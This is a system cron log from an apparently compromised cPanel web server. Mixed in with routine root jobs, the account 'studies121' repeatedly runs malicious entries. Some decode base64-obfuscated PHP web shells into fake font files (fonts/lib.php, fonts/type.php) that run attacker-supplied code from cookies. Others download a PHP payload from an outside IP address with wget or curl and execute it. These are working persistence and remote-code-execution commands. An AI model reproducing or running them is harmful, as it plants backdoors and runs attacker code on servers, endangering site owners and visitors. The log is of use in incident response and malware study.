Aug 30 05:39:01 ip-184-168-122-23 CROND[22155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:39:01 ip-184-168-122-23 CROND[22157]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 05:39:01 ip-184-168-122-23 CROND[22158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:40:01 ip-184-168-122-23 CROND[22247]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 05:40:01 ip-184-168-122-23 CROND[22248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:40:02 ip-184-168-122-23 CROND[22252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:40:02 ip-184-168-122-23 CROND[22254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:40:02 ip-184-168-122-23 CROND[22258]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 05:40:02 ip-184-168-122-23 CROND[22257]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:40:02 ip-184-168-122-23 CROND[22253]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 05:40:02 ip-184-168-122-23 CROND[22255]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:41:01 ip-184-168-122-23 CROND[22357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:41:01 ip-184-168-122-23 CROND[22358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:41:01 ip-184-168-122-23 CROND[22359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:41:01 ip-184-168-122-23 CROND[22360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:42:01 ip-184-168-122-23 CROND[22445]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:42:01 ip-184-168-122-23 CROND[22447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:42:01 ip-184-168-122-23 CROND[22448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:42:01 ip-184-168-122-23 CROND[22449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:42:01 ip-184-168-122-23 CROND[22450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:43:01 ip-184-168-122-23 CROND[22567]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:43:01 ip-184-168-122-23 CROND[22570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:43:01 ip-184-168-122-23 CROND[22572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:43:01 ip-184-168-122-23 CROND[22573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:44:01 ip-184-168-122-23 CROND[22659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:44:01 ip-184-168-122-23 CROND[22662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:44:01 ip-184-168-122-23 CROND[22663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:44:01 ip-184-168-122-23 CROND[22664]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:44:01 ip-184-168-122-23 CROND[22661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:45:01 ip-184-168-122-23 CROND[22751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:45:01 ip-184-168-122-23 CROND[22756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:45:01 ip-184-168-122-23 CROND[22754]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 05:45:01 ip-184-168-122-23 CROND[22755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:45:01 ip-184-168-122-23 CROND[22753]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 05:45:01 ip-184-168-122-23 CROND[22757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:46:01 ip-184-168-122-23 CROND[23098]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:46:01 ip-184-168-122-23 CROND[23100]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:46:01 ip-184-168-122-23 CROND[23103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:46:01 ip-184-168-122-23 CROND[23104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:46:01 ip-184-168-122-23 CROND[23101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:46:01 ip-184-168-122-23 CROND[23102]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 05:46:01 ip-184-168-122-23 CROND[23099]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 05:47:01 ip-184-168-122-23 CROND[23272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:47:01 ip-184-168-122-23 CROND[23275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:47:01 ip-184-168-122-23 CROND[23277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:47:01 ip-184-168-122-23 CROND[23276]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:48:01 ip-184-168-122-23 CROND[23437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:48:01 ip-184-168-122-23 CROND[23439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:48:01 ip-184-168-122-23 CROND[23440]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:48:01 ip-184-168-122-23 CROND[23441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:48:01 ip-184-168-122-23 CROND[23442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:49:02 ip-184-168-122-23 CROND[23539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:49:02 ip-184-168-122-23 CROND[23541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:49:02 ip-184-168-122-23 CROND[23540]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:49:02 ip-184-168-122-23 CROND[23542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:50:01 ip-184-168-122-23 CROND[23628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:50:01 ip-184-168-122-23 CROND[23629]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 05:50:01 ip-184-168-122-23 CROND[23630]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 05:50:01 ip-184-168-122-23 CROND[23633]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:50:01 ip-184-168-122-23 CROND[23636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:50:01 ip-184-168-122-23 CROND[23638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:50:01 ip-184-168-122-23 CROND[23631]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 05:50:01 ip-184-168-122-23 CROND[23634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:50:01 ip-184-168-122-23 CROND[23635]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 05:51:01 ip-184-168-122-23 CROND[23752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:51:01 ip-184-168-122-23 CROND[23753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
